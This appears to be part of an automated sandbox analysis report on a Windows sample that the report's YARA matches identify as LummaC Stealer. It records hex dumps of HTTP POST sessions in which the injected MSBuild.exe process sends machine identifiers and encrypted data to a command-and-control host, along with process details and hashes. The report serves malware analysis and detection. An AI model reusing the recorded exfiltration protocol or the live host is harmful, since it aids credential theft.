2025-04-11 23:47:15 UTC	1369	IN	Data Raw: eb e8 af 23 99 19 f5 f8 2a 88 fc 95 f4 a4 26 b8 c5 da 08 2c 88 9c 1c 8a c8 e9 d2 bf 01 b6 15 5f be dd e8 0a 13 2d 49 4c f1 2b 08 7d 21 b9 da 2e 5f d8 6c 03 1c 97 e9 4e b6 d3 21 70 59 59 88 6b a9 01 a9 c4 84 cf 5e db e6 6d 48 37 7c 85 9b 97 43 6b 19 53 d1 fd b6 84 54 26 ba 86 b6 bf 65 3f 98 35 3f e8 f4 fc f6 a1 47 01 55 12 c6 33 80 b1 cd 7f 57 88 a4 06 75 28 d4 f2 6e 3b 74 43 ce f1 76 56 9a 00 37 53 d7 e3 89 c5 53 96 13 ad 53 93 1b 96 5f a7 6c 50 39 c0 37 1e ac ac f3 81 ef 32 da 86 62 1b a7 98 ed 6b 93 a4 00 c0 ab 98 7b 3f 42 6d 5a cb 8c 7e 89 b1 30 cd 53 3f 9a 23 1b 24 90 39 6d 0f a1 83 3a 3f 7f ec 70 0b 90 32 04 0f 8f 31 b8 10 6d 2e a1 85 3d 92 c2 34 99 45 26 fb 9d f3 35 d2 f6 3a 9b 7d 32 45 76 6c 0d 6b 4d 03 02 cc 9e 08 6f 29 f2 dc aa a9 c2 98 b9 69 8b Data Ascii: #*&,_-IL+}!._lN!pYYk^mH7\|CkST&e?5?GU3Wu(n;tCvV7SSS_lP972bk{?BmZ~0S?#$9m:?p21m.=4E&5:}2EvlkMo)i
2025-04-11 23:47:15 UTC	1369	IN	Data Raw: a5 3a cc 24 fc 40 07 2f 1d 7d 3a 1b ca 27 5f ca 86 df db 3c 9c 41 48 1b cb 93 13 dd 21 30 19 17 03 f3 1a c8 0c 50 1e 75 a3 af ce 98 4c fc 80 97 84 17 ef 13 94 46 6d 2e 48 55 93 7d fc 9f 36 c4 f0 7e a7 5d 8a d2 c4 da b3 13 d4 ea 0f 72 cb a9 7a 4f ba 60 0b 82 4a a7 5b da fe 64 e9 37 87 fe f2 99 fb 9f db f1 0d d0 77 6f db 5d 27 45 a8 af 5d 8f ce 11 13 20 9c 0b f3 f3 a8 92 19 76 13 68 49 1b a9 d1 f2 3e 8e bb 6e ca 26 4b 32 4d c1 73 91 84 7e e1 6f c6 2b 77 f7 73 25 f0 f5 50 6d 63 7a c3 3a a1 25 4e 2c 50 0b c8 cc ba 32 f7 b0 d8 4e 81 60 8a 38 a6 5a 11 52 ab 87 96 46 e6 6e 9a 7a ec 87 b1 ab 97 aa 03 80 17 5b 5f 29 2d 6c b7 9f 2d 99 52 8b c3 93 df f8 8a 45 5a a2 8a 96 c1 73 35 45 ec 2f b6 e3 85 6f ee db 85 29 4d 68 e1 8d 8e e8 3b e0 61 17 5a 82 52 bc 28 59 58 4c Data Ascii: :$@/}:'_<AH!0PuLFm.HU}6~]rzO`J[d7wo]'E] vhI>n&K2Ms~o+ws%Pmcz:%N,P2N`8ZRFnz[_)-l-REZs5E/o)Mh;aZR(YXL
2025-04-11 23:47:15 UTC	1369	IN	Data Raw: 50 a4 65 8e 6c 67 57 a2 28 a2 6c f6 a2 19 2b 96 af 5d a5 2c 1e 59 f8 1c d5 6b 51 f5 97 f8 cc 60 5c b8 18 ff 57 76 b3 f5 bb ae 76 1a 71 49 65 41 ee 2d c9 bb d8 4f 26 0f ae e2 48 5d a9 15 66 ac 53 da 77 53 64 bc f9 35 18 9d 93 db f4 2a 37 d9 55 60 b4 8e fe 5f c5 de d9 94 e1 55 1f 75 ef d3 be 67 a9 8f 72 3b 1e 50 df 50 b1 8d 77 20 3b 43 a5 f3 45 1a 49 ad ab 5a 6a d7 bb 99 7a dc ae 24 d8 1e c7 43 44 af fe 3e 43 cd 31 e1 d1 17 0b 3d 17 3c 23 e1 a0 98 87 78 ba 5a cf 59 26 48 54 80 74 48 82 76 d4 e6 17 bc f6 91 2d 9d b0 ee 16 e7 c8 7f 6e 56 df 3f df bb 3f e3 ea 79 bd 95 75 b8 39 28 47 f5 8e c0 36 a4 49 92 b4 5d ca 75 ae 8b 58 05 cf cb 36 06 a8 7b 38 3b 13 76 39 0e 76 4b 64 8e ee 9a ff 5f 07 10 e2 60 20 15 0a b0 8c d9 30 41 93 83 2d 34 9c 62 69 dd 12 11 1d 5e ca Data Ascii: PelgW(l+],YkQ`\WvvqIeA-O&H]fSwSd5*7U`_Uugr;PPw ;CEIZjz$CD>C1=<#xZY&HTtHv-nV??yu9(G6I]uX6{8;v9vKd_` 0A-4bi^

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49683	104.21.85.126	443	6604	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
2025-04-11 23:47:16 UTC	275	OUT	POST /qoxo HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=tE4h4bU02j1b5n User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 Content-Length: 14515 Host: clarmodq.top
2025-04-11 23:47:16 UTC	14515	OUT	Data Raw: 2d 2d 74 45 34 68 34 62 55 30 32 6a 31 62 35 6e 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 75 69 64 22 0d 0a 0d 0a 30 34 33 65 38 66 31 34 62 39 34 65 39 35 30 63 62 36 61 32 35 62 64 63 30 66 38 61 39 65 39 32 30 30 31 37 33 38 31 32 33 65 66 36 34 32 64 63 39 35 31 30 34 62 36 62 0d 0a 2d 2d 74 45 34 68 34 62 55 30 32 6a 31 62 35 6e 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 74 45 34 68 34 62 55 30 32 6a 31 62 35 6e 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 Data Ascii: --tE4h4bU02j1b5nContent-Disposition: form-data; name="uid"043e8f14b94e950cb6a25bdc0f8a9e92001738123ef642dc95104b6b--tE4h4bU02j1b5nContent-Disposition: form-data; name="pid"2--tE4h4bU02j1b5nContent-Disposition: form-data; name="hwid"E
2025-04-11 23:47:16 UTC	808	IN	HTTP/1.1 200 OK Date: Fri, 11 Apr 2025 23:47:16 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Y%2FTjkDPje7wk0YgTBUKMKT2RTSjcKXzTD6GTrUakIUzyozYBK9%2F%2BwzzVHh5D7xva9aQDWIyb1AeNh4xGsQ%2F6mnOFVAJ2Uav1zcYXzB7wNfN940kN46X5bqQF1zVJqEc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 92ee5e3a8a5fd6b8-IAD alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=123040&min_rtt=123009&rtt_var=25996&sent=12&recv=19&lost=0&retrans=0&sent_bytes=2827&recv_bytes=15448&delivery_rate=32799&cwnd=242&unsent_bytes=0&cid=42bb0f4ca0d38b44&ts=614&x=0"
2025-04-11 23:47:16 UTC	76	IN	Data Raw: 34 36 0d 0a 7b 22 73 75 63 63 65 73 73 22 3a 7b 22 6d 65 73 73 61 67 65 22 3a 22 6d 65 73 73 61 67 65 20 73 75 63 63 65 73 73 20 64 65 6c 69 76 65 72 79 20 66 72 6f 6d 20 38 39 2e 31 38 37 2e 31 37 31 2e 31 36 31 22 7d 7d 0d 0a Data Ascii: 46{"success":{"message":"message success delivery from 89.187.171.161"}}
2025-04-11 23:47:16 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.8	49684	104.21.85.126	443	6604	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
2025-04-11 23:47:17 UTC	273	OUT	POST /qoxo HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=Kxhn12nfSGQl User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 Content-Length: 15051 Host: clarmodq.top
2025-04-11 23:47:17 UTC	15051	OUT	Data Raw: 2d 2d 4b 78 68 6e 31 32 6e 66 53 47 51 6c 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 75 69 64 22 0d 0a 0d 0a 30 34 33 65 38 66 31 34 62 39 34 65 39 35 30 63 62 36 61 32 35 62 64 63 30 66 38 61 39 65 39 32 30 30 31 37 33 38 31 32 33 65 66 36 34 32 64 63 39 35 31 30 34 62 36 62 0d 0a 2d 2d 4b 78 68 6e 31 32 6e 66 53 47 51 6c 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 4b 78 68 6e 31 32 6e 66 53 47 51 6c 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 36 31 42 30 33 46 Data Ascii: --Kxhn12nfSGQlContent-Disposition: form-data; name="uid"043e8f14b94e950cb6a25bdc0f8a9e92001738123ef642dc95104b6b--Kxhn12nfSGQlContent-Disposition: form-data; name="pid"2--Kxhn12nfSGQlContent-Disposition: form-data; name="hwid"E61B03F
2025-04-11 23:47:17 UTC	810	IN	HTTP/1.1 200 OK Date: Fri, 11 Apr 2025 23:47:17 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=8EbJWF7yBcRaGlLi%2FFVSY3%2BsafttZnVORTX%2Fp6snWR98qwx3H%2FmhPR89GYxbws2LIh2ZfpJihAtUiPzTRpg1xvdIYc2gifsPYrjI0eTguEdKEWdPl0FsuStJSp8J%2F98%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 92ee5e41ac81d9e1-MIA alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=125937&min_rtt=125921&rtt_var=26572&sent=12&recv=19&lost=0&retrans=0&sent_bytes=2827&recv_bytes=15982&delivery_rate=32064&cwnd=252&unsent_bytes=0&cid=9287b1a337d92c66&ts=642&x=0"
2025-04-11 23:47:17 UTC	76	IN	Data Raw: 34 36 0d 0a 7b 22 73 75 63 63 65 73 73 22 3a 7b 22 6d 65 73 73 61 67 65 22 3a 22 6d 65 73 73 61 67 65 20 73 75 63 63 65 73 73 20 64 65 6c 69 76 65 72 79 20 66 72 6f 6d 20 38 39 2e 31 38 37 2e 31 37 31 2e 31 36 31 22 7d 7d 0d 0a Data Ascii: 46{"success":{"message":"message success delivery from 89.187.171.161"}}
2025-04-11 23:47:17 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.8	49685	104.21.85.126	443	6604	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
2025-04-11 23:47:18 UTC	273	OUT	POST /qoxo HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=7WM9U5ltSzzW User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 Content-Length: 20220 Host: clarmodq.top
2025-04-11 23:47:18 UTC	15331	OUT	Data Raw: 2d 2d 37 57 4d 39 55 35 6c 74 53 7a 7a 57 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 75 69 64 22 0d 0a 0d 0a 30 34 33 65 38 66 31 34 62 39 34 65 39 35 30 63 62 36 61 32 35 62 64 63 30 66 38 61 39 65 39 32 30 30 31 37 33 38 31 32 33 65 66 36 34 32 64 63 39 35 31 30 34 62 36 62 0d 0a 2d 2d 37 57 4d 39 55 35 6c 74 53 7a 7a 57 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 37 57 4d 39 55 35 6c 74 53 7a 7a 57 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 36 31 42 30 33 46 Data Ascii: --7WM9U5ltSzzWContent-Disposition: form-data; name="uid"043e8f14b94e950cb6a25bdc0f8a9e92001738123ef642dc95104b6b--7WM9U5ltSzzWContent-Disposition: form-data; name="pid"3--7WM9U5ltSzzWContent-Disposition: form-data; name="hwid"E61B03F
2025-04-11 23:47:18 UTC	4889	OUT	Data Raw: 5e de c0 be 0b 4e a1 29 20 72 2c 2a 02 23 f0 90 50 5a f5 14 12 e0 cd 9d c9 59 f0 50 d1 67 7d db cb 08 52 99 45 f1 1a fc d2 87 68 04 8e 0b 1d 10 9b c8 f7 e9 c3 80 02 4a 37 75 a6 81 a3 30 e2 ad 13 28 75 f9 c8 e4 cd 08 1e 35 d3 1a 0e d4 98 56 40 5c bb ac 2e 90 a9 a0 22 7a bc 45 bd 60 fd 3f 6b c7 0d 12 eb 84 cf 73 ef d4 bd 9e 21 49 96 7f ac 31 f3 f4 1a 8f 7e 3e 86 20 7b 87 9d 7b 41 d6 c4 90 ef 76 de d7 65 5b 89 fb b7 e1 3c c4 a3 69 74 ff b7 e2 a8 6d a4 5c 7d 91 d0 2c f2 a0 c5 88 23 c5 b4 ea b5 b4 c9 d1 76 8a 43 6d d7 93 5b c2 f3 9c 51 48 1d fe ca b4 4e 25 a7 ac 4b e2 d2 78 40 b5 3a 6c 96 80 8d f0 ca cd 21 2a bf 08 b8 99 e3 f5 d0 06 7b 63 a6 6c 79 7f d6 17 00 f2 ef 87 80 3e fb 77 4e 3b 44 d8 6c 33 66 55 03 19 4c 91 05 97 a9 8c e1 19 e7 fb 17 80 22 e0 d3 82 18 Data Ascii: ^N) r,#PZYPg}REhJ7u0(u5V@\."zE`?ks!I1~> {{Ave[<itm\},#vCm[QHN%Kx@:l!{cly>wN;Dl3fUL"
2025-04-11 23:47:18 UTC	810	IN	HTTP/1.1 200 OK Date: Fri, 11 Apr 2025 23:47:18 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=THCfxlVAWuKZIEHfBl3oBbxcQggmMwSbp1pJLYxeoe60Cb35V8pdKLA1Ch%2BsC1ouKS2RRZwW0Nx%2Bq5Z%2B31q%2BKJscHfFAKMqhTWwEUxa5LwLBCMnRfO%2FLrcqeHX2CItA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 92ee5e47fbccd6f3-IAD alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=122326&min_rtt=121501&rtt_var=26494&sent=11&recv=23&lost=0&retrans=0&sent_bytes=2827&recv_bytes=21173&delivery_rate=33231&cwnd=252&unsent_bytes=0&cid=0e7dc59231d2d23b&ts=640&x=0"
2025-04-11 23:47:18 UTC	76	IN	Data Raw: 34 36 0d 0a 7b 22 73 75 63 63 65 73 73 22 3a 7b 22 6d 65 73 73 61 67 65 22 3a 22 6d 65 73 73 61 67 65 20 73 75 63 63 65 73 73 20 64 65 6c 69 76 65 72 79 20 66 72 6f 6d 20 38 39 2e 31 38 37 2e 31 37 31 2e 31 36 31 22 7d 7d 0d 0a Data Ascii: 46{"success":{"message":"message success delivery from 89.187.171.161"}}
2025-04-11 23:47:18 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.8	49686	104.21.85.126	443	6604	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
2025-04-11 23:47:20 UTC	270	OUT	POST /qoxo HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=W69Qb1dQ0S User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 Content-Length: 2296 Host: clarmodq.top
2025-04-11 23:47:20 UTC	2296	OUT	Data Raw: 2d 2d 57 36 39 51 62 31 64 51 30 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 75 69 64 22 0d 0a 0d 0a 30 34 33 65 38 66 31 34 62 39 34 65 39 35 30 63 62 36 61 32 35 62 64 63 30 66 38 61 39 65 39 32 30 30 31 37 33 38 31 32 33 65 66 36 34 32 64 63 39 35 31 30 34 62 36 62 0d 0a 2d 2d 57 36 39 51 62 31 64 51 30 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 57 36 39 51 62 31 64 51 30 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 36 31 42 30 33 46 37 41 44 33 38 38 Data Ascii: --W69Qb1dQ0SContent-Disposition: form-data; name="uid"043e8f14b94e950cb6a25bdc0f8a9e92001738123ef642dc95104b6b--W69Qb1dQ0SContent-Disposition: form-data; name="pid"1--W69Qb1dQ0SContent-Disposition: form-data; name="hwid"E61B03F7AD388
2025-04-11 23:47:20 UTC	805	IN	HTTP/1.1 200 OK Date: Fri, 11 Apr 2025 23:47:20 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=yMMD7Bkjw2LAurjTmTLO6YuD41vrKupHz%2BOCYmJ0zWaON1fFOSNXKJZ1wh6R4OWYHdtLBM3pNHj8jbpJqjHuEE%2BumMcZWjNGDVJSjrjnFA%2BoCbrq8nI9vaxjFr%2BL7JM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 92ee5e540ff0823f-IAD alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=121475&min_rtt=121436&rtt_var=25676&sent=6&recv=9&lost=0&retrans=0&sent_bytes=2827&recv_bytes=3202&delivery_rate=33217&cwnd=252&unsent_bytes=0&cid=40e10ac497b014e3&ts=573&x=0"
2025-04-11 23:47:20 UTC	76	IN	Data Raw: 34 36 0d 0a 7b 22 73 75 63 63 65 73 73 22 3a 7b 22 6d 65 73 73 61 67 65 22 3a 22 6d 65 73 73 61 67 65 20 73 75 63 63 65 73 73 20 64 65 6c 69 76 65 72 79 20 66 72 6f 6d 20 38 39 2e 31 38 37 2e 31 37 31 2e 31 36 31 22 7d 7d 0d 0a Data Ascii: 46{"success":{"message":"message success delivery from 89.187.171.161"}}
2025-04-11 23:47:20 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.8	49687	104.21.85.126	443	6604	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
2025-04-11 23:47:21 UTC	273	OUT	POST /qoxo HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=hYfrvYt6rjd91 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 Content-Length: 1105 Host: clarmodq.top
2025-04-11 23:47:21 UTC	1105	OUT	Data Raw: 2d 2d 68 59 66 72 76 59 74 36 72 6a 64 39 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 75 69 64 22 0d 0a 0d 0a 30 34 33 65 38 66 31 34 62 39 34 65 39 35 30 63 62 36 61 32 35 62 64 63 30 66 38 61 39 65 39 32 30 30 31 37 33 38 31 32 33 65 66 36 34 32 64 63 39 35 31 30 34 62 36 62 0d 0a 2d 2d 68 59 66 72 76 59 74 36 72 6a 64 39 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 68 59 66 72 76 59 74 36 72 6a 64 39 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 36 31 42 Data Ascii: --hYfrvYt6rjd91Content-Disposition: form-data; name="uid"043e8f14b94e950cb6a25bdc0f8a9e92001738123ef642dc95104b6b--hYfrvYt6rjd91Content-Disposition: form-data; name="pid"1--hYfrvYt6rjd91Content-Disposition: form-data; name="hwid"E61B
2025-04-11 23:47:21 UTC	801	IN	HTTP/1.1 200 OK Date: Fri, 11 Apr 2025 23:47:21 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=lgW8Puso2YPSaYdd4YGyUl2nnAEOD4LHjfniXKdcsDRQh58Hu2NhGPDHpDQkgchLPEbGTweYV5nINV4Qs6dkrhV9ItuLRyuLxJ6TMjRWFAk08%2BfR1Al%2Fqr9l5QCtE6o%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 92ee5e5969375a22-IAD alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=121888&min_rtt=121853&rtt_var=25762&sent=6&recv=9&lost=0&retrans=0&sent_bytes=2827&recv_bytes=2014&delivery_rate=33100&cwnd=252&unsent_bytes=0&cid=bfb2cacf6d7b0073&ts=592&x=0"
2025-04-11 23:47:21 UTC	76	IN	Data Raw: 34 36 0d 0a 7b 22 73 75 63 63 65 73 73 22 3a 7b 22 6d 65 73 73 61 67 65 22 3a 22 6d 65 73 73 61 67 65 20 73 75 63 63 65 73 73 20 64 65 6c 69 76 65 72 79 20 66 72 6f 6d 20 38 39 2e 31 38 37 2e 31 37 31 2e 31 36 31 22 7d 7d 0d 0a Data Ascii: 46{"success":{"message":"message success delivery from 89.187.171.161"}}
2025-04-11 23:47:21 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.8	49688	104.21.85.126	443	6604	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
2025-04-11 23:47:21 UTC	262	OUT	POST /qoxo HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 Content-Length: 135 Host: clarmodq.top
2025-04-11 23:47:21 UTC	135	OUT	Data Raw: 75 69 64 3d 30 34 33 65 38 66 31 34 62 39 34 65 39 35 30 63 62 36 61 32 35 62 64 63 30 66 38 61 39 65 39 32 30 30 31 37 33 38 31 32 33 65 66 36 34 32 64 63 39 35 31 30 34 62 36 62 26 63 69 64 3d 62 39 61 62 63 37 36 63 65 35 33 62 36 66 63 33 61 30 33 35 36 36 66 38 66 37 36 34 66 35 65 61 26 68 77 69 64 3d 45 36 31 42 30 33 46 37 41 44 33 38 38 38 35 43 46 32 32 44 42 33 45 38 39 32 31 43 33 37 43 35 Data Ascii: uid=043e8f14b94e950cb6a25bdc0f8a9e92001738123ef642dc95104b6b&cid=b9abc76ce53b6fc3a03566f8f764f5ea&hwid=E61B03F7AD38885CF22DB3E8921C37C5
2025-04-11 23:47:22 UTC	784	IN	HTTP/1.1 200 OK Date: Fri, 11 Apr 2025 23:47:22 GMT Content-Type: application/octet-stream Content-Length: 43 Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=hpjrlqVmxIj%2Byi7kfEe12JwtgbY57Z0FN8g5JVbvwSwagiC7VSGqYRkzfpEdbQB8p%2BQGkqNe%2B3HPHRnXXb8l8mJqRxV6K83Tu66GkIfUpfQJgF%2FCivyJ%2BH8eKPrjBNM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 92ee5e5f5b12bf9d-ATL alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=105908&min_rtt=105884&rtt_var=22372&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2827&recv_bytes=1033&delivery_rate=38107&cwnd=252&unsent_bytes=0&cid=c248a3efc9de56cd&ts=566&x=0"
2025-04-11 23:47:22 UTC	43	IN	Data Raw: 35 fb 95 2e 08 03 dc 7c d4 6c 8d cb aa c1 50 b1 82 31 db 3f bc c2 40 96 0f de a2 0e 6a 9a b4 a7 2e 1d cf 25 3d 07 c9 52 c0 82 45 Data Ascii: 5.\|lP1?@j.%=RE

Target ID:	0
Start time:	19:47:07
Start date:	11/04/2025
Path:	C:\Users\user\Desktop\SoftWare(1).exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\SoftWare(1).exe"
Imagebase:	0x7ff6af1d0000
File size:	1'582'080 bytes
MD5 hash:	34EB7041BA6EFD18C92455835185719A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	19:47:10
Start date:	11/04/2025
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
Imagebase:	0x470000
File size:	262'432 bytes
MD5 hash:	8FDF47E0FF70C40ED3A17014AEEA4232
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_LummaCStealer, Description: Yara detected LummaC Stealer, Source: 00000002.00000002.982560381.0000000002FF2000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_LummaCStealer_4, Description: Yara detected LummaC Stealer, Source: 00000002.00000002.981681584.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	19:48:50
Start date:	11/04/2025
Path:	C:\Program Files\Windows Defender\MpCmdRun.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Windows Defender\mpcmdrun.exe" -wdenable
Imagebase:	0x7ff66acf0000
File size:	468'120 bytes
MD5 hash:	B3676839B2EE96983F9ED735CD044159
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	19:48:50
Start date:	11/04/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6e60e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Chronological Activities

Disassembly

Reset < >

Behavior Section

Behavior Chronological

Disassembly

